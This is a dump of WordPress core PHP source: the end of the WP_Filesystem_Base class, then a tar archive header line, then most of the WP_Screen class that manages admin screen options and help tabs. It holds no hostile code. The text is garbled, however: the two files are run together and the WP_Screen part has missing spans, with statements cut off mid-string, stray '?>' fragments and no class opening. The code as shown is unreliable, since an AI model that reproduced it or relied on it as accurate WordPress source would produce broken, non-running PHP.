* @see WP_Filesystem_Base::wp_lang_dir()
*
* @param string $base Optional. The folder to start searching from. Default '.'.
* @param bool $verbose Optional. True to display debug information. Default false.
* @return string The location of the remote path.
*/
public function get_base_dir( $base = '.', $verbose = false ) {
_deprecated_function( __FUNCTION__, '2.7.0', 'WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir()' );
$this->verbose = $verbose;
return $this->abspath();
}
/**
* Locates a folder on the remote filesystem.
*
* Assumes that on Windows systems, Stripping off the Drive
* letter is OK Sanitizes \\ to / in Windows filepaths.
*
* @since 2.7.0
*
* @param string $folder the folder to locate.
* @return string|false The location of the remote path, false on failure.
*/
public function find_folder( $folder ) {
if ( isset( $this->cache[ $folder ] ) ) {
return $this->cache[ $folder ];
}
if ( stripos( $this->method, 'ftp' ) !== false ) {
$constant_overrides = array(
'FTP_BASE' => ABSPATH,
'FTP_CONTENT_DIR' => WP_CONTENT_DIR,
'FTP_PLUGIN_DIR' => WP_PLUGIN_DIR,
'FTP_LANG_DIR' => WP_LANG_DIR,
);
// Direct matches ( folder = CONSTANT/ ).
foreach ( $constant_overrides as $constant => $dir ) {
if ( ! defined( $constant ) ) {
continue;
}
if ( $folder === $dir ) {
return trailingslashit( constant( $constant ) );
}
}
// Prefix matches ( folder = CONSTANT/subdir ),
foreach ( $constant_overrides as $constant => $dir ) {
if ( ! defined( $constant ) ) {
continue;
}
if ( 0 === stripos( $folder, $dir ) ) { // $folder starts with $dir.
$potential_folder = preg_replace( '#^' . preg_quote( $dir, '#' ) . '/#i', trailingslashit( constant( $constant ) ), $folder );
$potential_folder = trailingslashit( $potential_folder );
if ( $this->is_dir( $potential_folder ) ) {
$this->cache[ $folder ] = $potential_folder;
return $potential_folder;
}
}
}
} elseif ( 'direct' === $this->method ) {
$folder = str_replace( '\\', '/', $folder ); // Windows path sanitization.
return trailingslashit( $folder );
}
$folder = preg_replace( '|^([a-z]{1}):|i', '', $folder ); // Strip out Windows drive letter if it's there.
$folder = str_replace( '\\', '/', $folder ); // Windows path sanitization.
if ( isset( $this->cache[ $folder ] ) ) {
return $this->cache[ $folder ];
}
if ( $this->exists( $folder ) ) { // Folder exists at that absolute path.
$folder = trailingslashit( $folder );
$this->cache[ $folder ] = $folder;
return $folder;
}
$return = $this->search_for_folder( $folder );
if ( $return ) {
$this->cache[ $folder ] = $return;
}
return $return;
}
/**
* Locates a folder on the remote filesystem.
*
* Expects Windows sanitized path.
*
* @since 2.7.0
*
* @param string $folder The folder to locate.
* @param string $base The folder to start searching from.
* @param bool $loop If the function has recursed. Internal use only.
* @return string|false The location of the remote path, false to cease looping.
*/
public function search_for_folder( $folder, $base = '.', $loop = false ) {
if ( empty( $base ) || '.' === $base ) {
$base = trailingslashit( $this->cwd() );
}
$folder = untrailingslashit( $folder );
if ( $this->verbose ) {
/* translators: 1: Folder to locate, 2: Folder to start searching from. */
printf( "\n" . __( 'Looking for %1$s in %2$s' ) . " \n", $folder, $base );
}
$folder_parts = explode( '/', $folder );
$folder_part_keys = array_keys( $folder_parts );
$last_index = array_pop( $folder_part_keys );
$last_path = $folder_parts[ $last_index ];
$files = $this->dirlist( $base );
foreach ( $folder_parts as $index => $key ) {
if ( $index === $last_index ) {
continue; // We want this to be caught by the next code block.
}
/*
* Working from /home/ to /user/ to /wordpress/ see if that file exists within
* the current folder, If it's found, change into it and follow through looking
* for it. If it can't find WordPress down that route, it'll continue onto the next
* folder level, and see if that matches, and so on. If it reaches the end, and still
* can't find it, it'll return false for the entire function.
*/
if ( isset( $files[ $key ] ) ) {
// Let's try that folder:
$newdir = trailingslashit( path_join( $base, $key ) );
if ( $this->verbose ) {
/* translators: %s: Directory name. */
printf( "\n" . __( 'Changing to %s' ) . " \n", $newdir );
}
// Only search for the remaining path tokens in the directory, not the full path again.
$newfolder = implode( '/', array_slice( $folder_parts, $index + 1 ) );
$ret = $this->search_for_folder( $newfolder, $newdir, $loop );
if ( $ret ) {
return $ret;
}
}
}
/*
* Only check this as a last resort, to prevent locating the incorrect install.
* All above procedures will fail quickly if this is the right branch to take.
*/
if ( isset( $files[ $last_path ] ) ) {
if ( $this->verbose ) {
/* translators: %s: Directory name. */
printf( "\n" . __( 'Found %s' ) . " \n", $base . $last_path );
}
return trailingslashit( $base . $last_path );
}
/*
* Prevent this function from looping again.
* No need to proceed if we've just searched in `/`.
*/
if ( $loop || '/' === $base ) {
return false;
}
/*
* As an extra last resort, Change back to / if the folder wasn't found.
* This comes into effect when the CWD is /home/user/ but WP is at /var/www/....
*/
return $this->search_for_folder( $folder, '/', true );
}
/**
* Returns the *nix-style file permissions for a file.
*
* From the PHP documentation page for fileperms().
*
* @link https://www.php.net/manual/en/function.fileperms.php
*
* @since 2.5.0
*
* @param string $file String filename.
* @return string The *nix-style representation of permissions.
*/
public function gethchmod( $file ) {
$perms = intval( $this->getchmod( $file ), 8 );
if ( ( $perms & 0xC000 ) === 0xC000 ) { // Socket.
$info = 's';
} elseif ( ( $perms & 0xA000 ) === 0xA000 ) { // Symbolic Link.
$info = 'l';
} elseif ( ( $perms & 0x8000 ) === 0x8000 ) { // Regular.
$info = '-';
} elseif ( ( $perms & 0x6000 ) === 0x6000 ) { // Block special.
$info = 'b';
} elseif ( ( $perms & 0x4000 ) === 0x4000 ) { // Directory.
$info = 'd';
} elseif ( ( $perms & 0x2000 ) === 0x2000 ) { // Character special.
$info = 'c';
} elseif ( ( $perms & 0x1000 ) === 0x1000 ) { // FIFO pipe.
$info = 'p';
} else { // Unknown.
$info = 'u';
}
// Owner.
$info .= ( ( $perms & 0x0100 ) ? 'r' : '-' );
$info .= ( ( $perms & 0x0080 ) ? 'w' : '-' );
$info .= ( ( $perms & 0x0040 ) ?
( ( $perms & 0x0800 ) ? 's' : 'x' ) :
( ( $perms & 0x0800 ) ? 'S' : '-' ) );
// Group.
$info .= ( ( $perms & 0x0020 ) ? 'r' : '-' );
$info .= ( ( $perms & 0x0010 ) ? 'w' : '-' );
$info .= ( ( $perms & 0x0008 ) ?
( ( $perms & 0x0400 ) ? 's' : 'x' ) :
( ( $perms & 0x0400 ) ? 'S' : '-' ) );
// World.
$info .= ( ( $perms & 0x0004 ) ? 'r' : '-' );
$info .= ( ( $perms & 0x0002 ) ? 'w' : '-' );
$info .= ( ( $perms & 0x0001 ) ?
( ( $perms & 0x0200 ) ? 't' : 'x' ) :
( ( $perms & 0x0200 ) ? 'T' : '-' ) );
return $info;
}
/**
* Gets the permissions of the specified file or filepath in their octal format.
*
* @since 2.5.0
*
* @param string $file Path to the file.
* @return string Mode of the file (the last 3 digits).
*/
public function getchmod( $file ) {
return '777';
}
/**
* Converts *nix-style file permissions to an octal number.
*
* Converts '-rw-r--r--' to 0644
* From "info at rvgate dot nl"'s comment on the PHP documentation for chmod()
*
* @link https://www.php.net/manual/en/function.chmod.php#49614
*
* @since 2.5.0
*
* @param string $mode string The *nix-style file permissions.
* @return string Octal representation of permissions.
*/
public function getnumchmodfromh( $mode ) {
$realmode = '';
$legal = array( '', 'w', 'r', 'x', '-' );
$attarray = preg_split( '//', $mode );
for ( $i = 0, $c = count( $attarray ); $i < $c; $i++ ) {
$key = array_search( $attarray[ $i ], $legal, true );
if ( $key ) {
$realmode .= $legal[ $key ];
}
}
$mode = str_pad( $realmode, 10, '-', STR_PAD_LEFT );
$trans = array(
'-' => '0',
'r' => '4',
'w' => '2',
'x' => '1',
);
$mode = strtr( $mode, $trans );
$newmode = $mode[0];
$newmode .= $mode[1] + $mode[2] + $mode[3];
$newmode .= $mode[4] + $mode[5] + $mode[6];
$newmode .= $mode[7] + $mode[8] + $mode[9];
return $newmode;
}
/**
* Determines if the string provided contains binary characters.
*
* @since 2.7.0
*
* @param string $text String to test against.
* @return bool True if string is binary, false otherwise.
*/
public function is_binary( $text ) {
return (bool) preg_match( '|[^\x20-\x7E]|', $text ); // chr(32)..chr(127)
}
/**
* Changes the owner of a file or directory.
*
* Default behavior is to do nothing, override this in your subclass, if desired.
*
* @since 2.5.0
*
* @param string $file Path to the file or directory.
* @param string|int $owner A user name or number.
* @param bool $recursive Optional. If set to true, changes file owner recursively.
* Default false.
* @return bool True on success, false on failure.
*/
public function chown( $file, $owner, $recursive = false ) {
return false;
}
/**
* Connects filesystem.
*
* @since 2.5.0
* @abstract
*
* @return bool True on success, false on failure (always true for WP_Filesystem_Direct).
*/
public function connect() {
return true;
}
/**
* Reads entire file into a string.
*
* @since 2.5.0
* @abstract
*
* @param string $file Name of the file to read.
* @return string|false Read data on success, false on failure.
*/
public function get_contents( $file ) {
return false;
}
/**
* Reads entire file into an array.
*
* @since 2.5.0
* @abstract
*
* @param string $file Path to the file.
* @return array|false File contents in an array on success, false on failure.
*/
public function get_contents_array( $file ) {
return false;
}
/**
* Writes a string to a file.
*
* @since 2.5.0
* @abstract
*
* @param string $file Remote path to the file where to write the data.
* @param string $contents The data to write.
* @param int|false $mode Optional. The file permissions as octal number, usually 0644.
* Default false.
* @return bool True on success, false on failure.
*/
public function put_contents( $file, $contents, $mode = false ) {
return false;
}
/**
* Gets the current working directory.
*
* @since 2.5.0
* @abstract
*
* @return string|false The current working directory on success, false on failure.
*/
public function cwd() {
return false;
}
/**
* Changes current directory.
*
* @since 2.5.0
* @abstract
*
* @param string $dir The new current directory.
* @return bool True on success, false on failure.
*/
public function chdir( $dir ) {
return false;
}
/**
* Changes the file group.
*
* @since 2.5.0
* @abstract
*
* @param string $file Path to the file.
* @param string|int $group A group name or number.
* @param bool $recursive Optional. If set to true, changes file group recursively.
* Default false.
* @return bool True on success, false on failure.
*/
public function chgrp( $file, $group, $recursive = false ) {
return false;
}
/**
* Changes filesystem permissions.
*
* @since 2.5.0
* @abstract
*
* @param string $file Path to the file.
* @param int|false $mode Optional. The permissions as octal number, usually 0644 for files,
* 0755 for directories. Default false.
* @param bool $recursive Optional. If set to true, changes file permissions recursively.
* Default false.
* @return bool True on success, false on failure.
*/
public function chmod( $file, $mode = false, $recursive = false ) {
return false;
}
/**
* Gets the file owner.
*
* @since 2.5.0
* @abstract
*
* @param string $file Path to the file.
* @return string|false Username of the owner on success, false on failure.
*/
public function owner( $file ) {
return false;
}
/**
* Gets the file's group.
*
* @since 2.5.0
* @abstract
*
* @param string $file Path to the file.
* @return string|false The group on success, false on failure.
*/
public function group( $file ) {
return false;
}
/**
* Copies a file.
*
* @since 2.5.0
* @abstract
*
* @param string $source Path to the source file.
* @param string $destination Path to the destination file.
* @param bool $overwrite Optional. Whether to overwrite the destination file if it exists.
* Default false.
* @param int|false $mode Optional. The permissions as octal number, usually 0644 for files,
* 0755 for dirs. Default false.
* @return bool True on success, false on failure.
*/
public function copy( $source, $destination, $overwrite = false, $mode = false ) {
return false;
}
/**
* Moves a file.
*
* @since 2.5.0
* @abstract
*
* @param string $source Path to the source file.
* @param string $destination Path to the destination file.
* @param bool $overwrite Optional. Whether to overwrite the destination file if it exists.
* Default false.
* @return bool True on success, false on failure.
*/
public function move( $source, $destination, $overwrite = false ) {
return false;
}
/**
* Deletes a file or directory.
*
* @since 2.5.0
* @abstract
*
* @param string $file Path to the file or directory.
* @param bool $recursive Optional. If set to true, deletes files and folders recursively.
* Default false.
* @param string|false $type Type of resource. 'f' for file, 'd' for directory.
* Default false.
* @return bool True on success, false on failure.
*/
public function delete( $file, $recursive = false, $type = false ) {
return false;
}
/**
* Checks if a file or directory exists.
*
* @since 2.5.0
* @abstract
*
* @param string $path Path to file or directory.
* @return bool Whether $path exists or not.
*/
public function exists( $path ) {
return false;
}
/**
* Checks if resource is a file.
*
* @since 2.5.0
* @abstract
*
* @param string $file File path.
* @return bool Whether $file is a file.
*/
public function is_file( $file ) {
return false;
}
/**
* Checks if resource is a directory.
*
* @since 2.5.0
* @abstract
*
* @param string $path Directory path.
* @return bool Whether $path is a directory.
*/
public function is_dir( $path ) {
return false;
}
/**
* Checks if a file is readable.
*
* @since 2.5.0
* @abstract
*
* @param string $file Path to file.
* @return bool Whether $file is readable.
*/
public function is_readable( $file ) {
return false;
}
/**
* Checks if a file or directory is writable.
*
* @since 2.5.0
* @abstract
*
* @param string $path Path to file or directory.
* @return bool Whether $path is writable.
*/
public function is_writable( $path ) {
return false;
}
/**
* Gets the file's last access time.
*
* @since 2.5.0
* @abstract
*
* @param string $file Path to file.
* @return int|false Unix timestamp representing last access time, false on failure.
*/
public function atime( $file ) {
return false;
}
/**
* Gets the file modification time.
*
* @since 2.5.0
* @abstract
*
* @param string $file Path to file.
* @return int|false Unix timestamp representing modification time, false on failure.
*/
public function mtime( $file ) {
return false;
}
/**
* Gets the file size (in bytes).
*
* @since 2.5.0
* @abstract
*
* @param string $file Path to file.
* @return int|false Size of the file in bytes on success, false on failure.
*/
public function size( $file ) {
return false;
}
/**
* Sets the access and modification times of a file.
*
* Note: If $file doesn't exist, it will be created.
*
* @since 2.5.0
* @abstract
*
* @param string $file Path to file.
* @param int $time Optional. Modified time to set for file.
* Default 0.
* @param int $atime Optional. Access time to set for file.
* Default 0.
* @return bool True on success, false on failure.
*/
public function touch( $file, $time = 0, $atime = 0 ) {
return false;
}
/**
* Creates a directory.
*
* @since 2.5.0
* @abstract
*
* @param string $path Path for new directory.
* @param int|false $chmod Optional. The permissions as octal number (or false to skip chmod).
* Default false.
* @param string|int|false $chown Optional. A user name or number (or false to skip chown).
* Default false.
* @param string|int|false $chgrp Optional. A group name or number (or false to skip chgrp).
* Default false.
* @return bool True on success, false on failure.
*/
public function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) {
return false;
}
/**
* Deletes a directory.
*
* @since 2.5.0
* @abstract
*
* @param string $path Path to directory.
* @param bool $recursive Optional. Whether to recursively remove files/directories.
* Default false.
* @return bool True on success, false on failure.
*/
public function rmdir( $path, $recursive = false ) {
return false;
}
/**
* Gets details for files in a directory or a specific file.
*
* @since 2.5.0
* @abstract
*
* @param string $path Path to directory or file.
* @param bool $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
* Default true.
* @param bool $recursive Optional. Whether to recursively include file details in nested directories.
* Default false.
* @return array|false {
* Array of arrays containing file information. False if unable to list directory contents.
*
* @type array ...$0 {
* Array of file information. Note that some elements may not be available on all filesystems.
*
* @type string $name Name of the file or directory.
* @type string $perms *nix representation of permissions.
* @type string $permsn Octal representation of permissions.
* @type int|string|false $number File number. May be a numeric string. False if not available.
* @type string|false $owner Owner name or ID, or false if not available.
* @type string|false $group File permissions group, or false if not available.
* @type int|string|false $size Size of file in bytes. May be a numeric string.
* False if not available.
* @type int|string|false $lastmodunix Last modified unix timestamp. May be a numeric string.
* False if not available.
* @type string|false $lastmod Last modified month (3 letters) and day (without leading 0), or
* false if not available.
* @type string|false $time Last modified time, or false if not available.
* @type string $type Type of resource. 'f' for file, 'd' for directory, 'l' for link.
* @type array|false $files If a directory and `$recursive` is true, contains another array of
* files. False if unable to list directory contents.
* }
* }
*/
public function dirlist( $path, $include_hidden = true, $recursive = false ) {
return false;
}
}
class-wp-screen.php 0000644 00000110717 14757313107 0010302 0 ustar 00 post_type;
/** This filter is documented in wp-admin/post.php */
$replace_editor = apply_filters( 'replace_editor', false, $post );
if ( ! $replace_editor ) {
$is_block_editor = use_block_editor_for_post( $post );
}
}
}
break;
case 'edit-tags':
case 'term':
if ( null === $post_type && is_object_in_taxonomy( 'post', $taxonomy ? $taxonomy : 'post_tag' ) ) {
$post_type = 'post';
}
break;
case 'upload':
$post_type = 'attachment';
break;
}
}
switch ( $base ) {
case 'post':
if ( null === $post_type ) {
$post_type = 'post';
}
// When creating a new post, use the default block editor support value for the post type.
if ( empty( $post_id ) ) {
$is_block_editor = use_block_editor_for_post_type( $post_type );
}
$id = $post_type;
break;
case 'edit':
if ( null === $post_type ) {
$post_type = 'post';
}
$id .= '-' . $post_type;
break;
case 'edit-tags':
case 'term':
if ( null === $taxonomy ) {
$taxonomy = 'post_tag';
}
// The edit-tags ID does not contain the post type. Look for it in the request.
if ( null === $post_type ) {
$post_type = 'post';
if ( isset( $_REQUEST['post_type'] ) && post_type_exists( $_REQUEST['post_type'] ) ) {
$post_type = $_REQUEST['post_type'];
}
}
$id = 'edit-' . $taxonomy;
break;
}
if ( 'network' === $in_admin ) {
$id .= '-network';
$base .= '-network';
} elseif ( 'user' === $in_admin ) {
$id .= '-user';
$base .= '-user';
}
if ( isset( self::$_registry[ $id ] ) ) {
$screen = self::$_registry[ $id ];
if ( get_current_screen() === $screen ) {
return $screen;
}
} else {
$screen = new self();
$screen->id = $id;
}
$screen->base = $base;
$screen->action = $action;
$screen->post_type = (string) $post_type;
$screen->taxonomy = (string) $taxonomy;
$screen->is_user = ( 'user' === $in_admin );
$screen->is_network = ( 'network' === $in_admin );
$screen->in_admin = $in_admin;
$screen->is_block_editor = $is_block_editor;
self::$_registry[ $id ] = $screen;
return $screen;
}
/**
* Makes the screen object the current screen.
*
* @see set_current_screen()
* @since 3.3.0
*
* @global WP_Screen $current_screen WordPress current screen object.
* @global string $typenow The post type of the current screen.
* @global string $taxnow The taxonomy of the current screen.
*/
public function set_current_screen() {
global $current_screen, $taxnow, $typenow;
$current_screen = $this;
$typenow = $this->post_type;
$taxnow = $this->taxonomy;
/**
* Fires after the current screen has been set.
*
* @since 3.0.0
*
* @param WP_Screen $current_screen Current WP_Screen object.
*/
do_action( 'current_screen', $current_screen );
}
/**
* Constructor
*
* @since 3.3.0
*/
private function __construct() {}
/**
* Indicates whether the screen is in a particular admin.
*
* @since 3.5.0
*
* @param string $admin The admin to check against (network | user | site).
* If empty any of the three admins will result in true.
* @return bool True if the screen is in the indicated admin, false otherwise.
*/
public function in_admin( $admin = null ) {
if ( empty( $admin ) ) {
return (bool) $this->in_admin;
}
return ( $admin === $this->in_admin );
}
/**
* Sets or returns whether the block editor is loading on the current screen.
*
* @since 5.0.0
*
* @param bool $set Optional. Sets whether the block editor is loading on the current screen or not.
* @return bool True if the block editor is being loaded, false otherwise.
*/
public function is_block_editor( $set = null ) {
if ( null !== $set ) {
$this->is_block_editor = (bool) $set;
}
return $this->is_block_editor;
}
/**
* Sets the old string-based contextual help for the screen for backward compatibility.
*
* @since 3.3.0
*
* @param WP_Screen $screen A screen object.
* @param string $help Help text.
*/
public static function add_old_compat_help( $screen, $help ) {
self::$_old_compat_help[ $screen->id ] = $help;
}
/**
* Sets the parent information for the screen.
*
* This is called in admin-header.php after the menu parent for the screen has been determined.
*
* @since 3.3.0
*
* @param string $parent_file The parent file of the screen. Typically the $parent_file global.
*/
public function set_parentage( $parent_file ) {
$this->parent_file = $parent_file;
list( $this->parent_base ) = explode( '?', $parent_file );
$this->parent_base = str_replace( '.php', '', $this->parent_base );
}
/**
* Adds an option for the screen.
*
* Call this in template files after admin.php is loaded and before admin-header.php is loaded
* to add screen options.
*
* @since 3.3.0
*
* @param string $option Option ID.
* @param mixed $args Option-dependent arguments.
*/
public function add_option( $option, $args = array() ) {
$this->_options[ $option ] = $args;
}
/**
* Removes an option from the screen.
*
* @since 3.8.0
*
* @param string $option Option ID.
*/
public function remove_option( $option ) {
unset( $this->_options[ $option ] );
}
/**
* Removes all options from the screen.
*
* @since 3.8.0
*/
public function remove_options() {
$this->_options = array();
}
/**
* Gets the options registered for the screen.
*
* @since 3.8.0
*
* @return array Options with arguments.
*/
public function get_options() {
return $this->_options;
}
/**
* Gets the arguments for an option for the screen.
*
* @since 3.3.0
*
* @param string $option Option name.
* @param string|false $key Optional. Specific array key for when the option is an array.
* Default false.
* @return string The option value if set, null otherwise.
*/
public function get_option( $option, $key = false ) {
if ( ! isset( $this->_options[ $option ] ) ) {
return null;
}
if ( $key ) {
if ( isset( $this->_options[ $option ][ $key ] ) ) {
return $this->_options[ $option ][ $key ];
}
return null;
}
return $this->_options[ $option ];
}
/**
* Gets the help tabs registered for the screen.
*
* @since 3.4.0
* @since 4.4.0 Help tabs are ordered by their priority.
*
* @return array Help tabs with arguments.
*/
public function get_help_tabs() {
$help_tabs = $this->_help_tabs;
$priorities = array();
foreach ( $help_tabs as $help_tab ) {
if ( isset( $priorities[ $help_tab['priority'] ] ) ) {
$priorities[ $help_tab['priority'] ][] = $help_tab;
} else {
$priorities[ $help_tab['priority'] ] = array( $help_tab );
}
}
ksort( $priorities );
$sorted = array();
foreach ( $priorities as $list ) {
foreach ( $list as $tab ) {
$sorted[ $tab['id'] ] = $tab;
}
}
return $sorted;
}
/**
* Gets the arguments for a help tab.
*
* @since 3.4.0
*
* @param string $id Help Tab ID.
* @return array Help tab arguments.
*/
public function get_help_tab( $id ) {
if ( ! isset( $this->_help_tabs[ $id ] ) ) {
return null;
}
return $this->_help_tabs[ $id ];
}
/**
* Adds a help tab to the contextual help for the screen.
*
* Call this on the `load-$pagenow` hook for the relevant screen,
* or fetch the `$current_screen` object, or use get_current_screen()
* and then call the method from the object.
*
* You may need to filter `$current_screen` using an if or switch statement
* to prevent new help tabs from being added to ALL admin screens.
*
* @since 3.3.0
* @since 4.4.0 The `$priority` argument was added.
*
* @param array $args {
* Array of arguments used to display the help tab.
*
* @type string $title Title for the tab. Default false.
* @type string $id Tab ID. Must be HTML-safe and should be unique for this menu.
* It is NOT allowed to contain any empty spaces. Default false.
* @type string $content Optional. Help tab content in plain text or HTML. Default empty string.
* @type callable $callback Optional. A callback to generate the tab content. Default false.
* @type int $priority Optional. The priority of the tab, used for ordering. Default 10.
* }
*/
public function add_help_tab( $args ) {
$defaults = array(
'title' => false,
'id' => false,
'content' => '',
'callback' => false,
'priority' => 10,
);
$args = wp_parse_args( $args, $defaults );
$args['id'] = sanitize_html_class( $args['id'] );
// Ensure we have an ID and title.
if ( ! $args['id'] || ! $args['title'] ) {
return;
}
// Allows for overriding an existing tab with that ID.
$this->_help_tabs[ $args['id'] ] = $args;
}
/**
* Removes a help tab from the contextual help for the screen.
*
* @since 3.3.0
*
* @param string $id The help tab ID.
*/
public function remove_help_tab( $id ) {
unset( $this->_help_tabs[ $id ] );
}
/**
* Removes all help tabs from the contextual help for the screen.
*
* @since 3.3.0
*/
public function remove_help_tabs() {
$this->_help_tabs = array();
}
/**
* Gets the content from a contextual help sidebar.
*
* @since 3.4.0
*
* @return string Contents of the help sidebar.
*/
public function get_help_sidebar() {
return $this->_help_sidebar;
}
/**
* Adds a sidebar to the contextual help for the screen.
*
* Call this in template files after admin.php is loaded and before admin-header.php is loaded
* to add a sidebar to the contextual help.
*
* @since 3.3.0
*
* @param string $content Sidebar content in plain text or HTML.
*/
public function set_help_sidebar( $content ) {
$this->_help_sidebar = $content;
}
/**
* Gets the number of layout columns the user has selected.
*
* The layout_columns option controls the max number and default number of
* columns. This method returns the number of columns within that range selected
* by the user via Screen Options. If no selection has been made, the default
* provisioned in layout_columns is returned. If the screen does not support
* selecting the number of layout columns, 0 is returned.
*
* @since 3.4.0
*
* @return int Number of columns to display.
*/
public function get_columns() {
return $this->columns;
}
/**
* Gets the accessible hidden headings and text used in the screen.
*
* @since 4.4.0
*
* @see set_screen_reader_content() For more information on the array format.
*
* @return string[] An associative array of screen reader text strings.
*/
public function get_screen_reader_content() {
return $this->_screen_reader_content;
}
/**
* Gets a screen reader text string.
*
* @since 4.4.0
*
* @param string $key Screen reader text array named key.
* @return string Screen reader text string.
*/
public function get_screen_reader_text( $key ) {
if ( ! isset( $this->_screen_reader_content[ $key ] ) ) {
return null;
}
return $this->_screen_reader_content[ $key ];
}
/**
* Adds accessible hidden headings and text for the screen.
*
* @since 4.4.0
*
* @param array $content {
* An associative array of screen reader text strings.
*
* @type string $heading_views Screen reader text for the filter links heading.
* Default 'Filter items list'.
* @type string $heading_pagination Screen reader text for the pagination heading.
* Default 'Items list navigation'.
* @type string $heading_list Screen reader text for the items list heading.
* Default 'Items list'.
* }
*/
public function set_screen_reader_content( $content = array() ) {
$defaults = array(
'heading_views' => __( 'Filter items list' ),
'heading_pagination' => __( 'Items list navigation' ),
'heading_list' => __( 'Items list' ),
);
$content = wp_parse_args( $content, $defaults );
$this->_screen_reader_content = $content;
}
/**
* Removes all the accessible hidden headings and text for the screen.
*
* @since 4.4.0
*/
public function remove_screen_reader_content() {
$this->_screen_reader_content = array();
}
/**
* Renders the screen's help section.
*
* This will trigger the deprecated filters for backward compatibility.
*
* @since 3.3.0
*
* @global string $screen_layout_columns
*/
public function render_screen_meta() {
/**
* Filters the legacy contextual help list.
*
* @since 2.7.0
* @deprecated 3.3.0 Use {@see get_current_screen()->add_help_tab()} or
* {@see get_current_screen()->remove_help_tab()} instead.
*
* @param array $old_compat_help Old contextual help.
* @param WP_Screen $screen Current WP_Screen instance.
*/
self::$_old_compat_help = apply_filters_deprecated(
'contextual_help_list',
array( self::$_old_compat_help, $this ),
'3.3.0',
'get_current_screen()->add_help_tab(), get_current_screen()->remove_help_tab()'
);
$old_help = isset( self::$_old_compat_help[ $this->id ] ) ? self::$_old_compat_help[ $this->id ] : '';
/**
* Filters the legacy contextual help text.
*
* @since 2.7.0
* @deprecated 3.3.0 Use {@see get_current_screen()->add_help_tab()} or
* {@see get_current_screen()->remove_help_tab()} instead.
*
* @param string $old_help Help text that appears on the screen.
* @param string $screen_id Screen ID.
* @param WP_Screen $screen Current WP_Screen instance.
*/
$old_help = apply_filters_deprecated(
'contextual_help',
array( $old_help, $this->id, $this ),
'3.3.0',
'get_current_screen()->add_help_tab(), get_current_screen()->remove_help_tab()'
);
// Default help only if there is no old-style block of text and no new-style help tabs.
if ( empty( $old_help ) && ! $this->get_help_tabs() ) {
/**
* Filters the default legacy contextual help text.
*
* @since 2.8.0
* @deprecated 3.3.0 Use {@see get_current_screen()->add_help_tab()} or
* {@see get_current_screen()->remove_help_tab()} instead.
*
* @param string $old_help_default Default contextual help text.
*/
$default_help = apply_filters_deprecated(
'default_contextual_help',
array( '' ),
'3.3.0',
'get_current_screen()->add_help_tab(), get_current_screen()->remove_help_tab()'
);
if ( $default_help ) {
$old_help = '
_show_screen_options ) ) {
return $this->_show_screen_options;
}
$columns = get_column_headers( $this );
$show_screen = ! empty( $wp_meta_boxes[ $this->id ] ) || $columns || $this->get_option( 'per_page' );
$this->_screen_settings = '';
if ( 'post' === $this->base ) {
$expand = '';
$this->_screen_settings = $expand;
}
/**
* Filters the screen settings text displayed in the Screen Options tab.
*
* @since 3.0.0
*
* @param string $screen_settings Screen settings.
* @param WP_Screen $screen WP_Screen object.
*/
$this->_screen_settings = apply_filters( 'screen_settings', $this->_screen_settings, $this );
if ( $this->_screen_settings || $this->_options ) {
$show_screen = true;
}
/**
* Filters whether to show the Screen Options tab.
*
* @since 3.2.0
*
* @param bool $show_screen Whether to show Screen Options tab.
* Default true.
* @param WP_Screen $screen Current WP_Screen instance.
*/
$this->_show_screen_options = apply_filters( 'screen_options_show_screen', $show_screen, $this );
return $this->_show_screen_options;
}
/**
* Renders the screen options tab.
*
* @since 3.3.0
*
* @param array $options {
* Options for the tab.
*
* @type bool $wrap Whether the screen-options-wrap div will be included. Defaults to true.
* }
*/
public function render_screen_options( $options = array() ) {
$options = wp_parse_args(
$options,
array(
'wrap' => true,
)
);
$wrapper_start = '';
$wrapper_end = '';
$form_start = '';
$form_end = '';
// Output optional wrapper.
if ( $options['wrap'] ) {
$wrapper_start = '
';
$wrapper_end = '
';
}
// Don't output the form and nonce for the widgets accessibility mode links.
if ( 'widgets' !== $this->base ) {
$form_start = "\n\n";
}
echo $wrapper_start . $form_start;
$this->render_meta_boxes_preferences();
$this->render_list_table_columns_preferences();
$this->render_screen_layout();
$this->render_per_page_options();
$this->render_view_mode();
echo $this->_screen_settings;
/**
* Filters whether to show the Screen Options submit button.
*
* @since 4.4.0
*
* @param bool $show_button Whether to show Screen Options submit button.
* Default false.
* @param WP_Screen $screen Current WP_Screen instance.
*/
$show_button = apply_filters( 'screen_options_show_submit', false, $this );
if ( $show_button ) {
submit_button( __( 'Apply' ), 'primary', 'screen-options-apply', true );
}
echo $form_end . $wrapper_end;
}
/**
* Renders the meta boxes preferences.
*
* @since 4.4.0
*
* @global array $wp_meta_boxes Global meta box state.
*/
public function render_meta_boxes_preferences() {
global $wp_meta_boxes;
if ( ! isset( $wp_meta_boxes[ $this->id ] ) ) {
return;
}
?>
get_option( 'layout_columns' ) ) {
return;
}
$screen_layout_columns = $this->get_columns();
$num = $this->get_option( 'layout_columns', 'max' );
?>
get_option( 'per_page' ) ) {
return;
}
$per_page_label = $this->get_option( 'per_page', 'label' );
if ( null === $per_page_label ) {
$per_page_label = __( 'Number of items per page:' );
}
$option = $this->get_option( 'per_page', 'option' );
if ( ! $option ) {
$option = str_replace( '-', '_', "{$this->id}_per_page" );
}
$per_page = (int) get_user_option( $option );
if ( empty( $per_page ) || $per_page < 1 ) {
$per_page = $this->get_option( 'per_page', 'default' );
if ( ! $per_page ) {
$per_page = 20;
}
}
if ( 'edit_comments_per_page' === $option ) {
$comment_status = isset( $_REQUEST['comment_status'] ) ? $_REQUEST['comment_status'] : 'all';
/** This filter is documented in wp-admin/includes/class-wp-comments-list-table.php */
$per_page = apply_filters( 'comments_per_page', $per_page, $comment_status );
} elseif ( 'categories_per_page' === $option ) {
/** This filter is documented in wp-admin/includes/class-wp-terms-list-table.php */
$per_page = apply_filters( 'edit_categories_per_page', $per_page );
} else {
/** This filter is documented in wp-admin/includes/class-wp-list-table.php */
$per_page = apply_filters( "{$option}", $per_page );
}
// Back compat.
if ( isset( $this->post_type ) ) {
/** This filter is documented in wp-admin/includes/post.php */
$per_page = apply_filters( 'edit_posts_per_page', $per_page, $this->post_type );
}
// This needs a submit button.
add_filter( 'screen_options_show_submit', '__return_true' );
?>
base && 'edit-comments' !== $screen->base ) {
return;
}
$view_mode_post_types = get_post_types( array( 'show_ui' => true ) );
/**
* Filters the post types that have different view mode options.
*
* @since 4.4.0
*
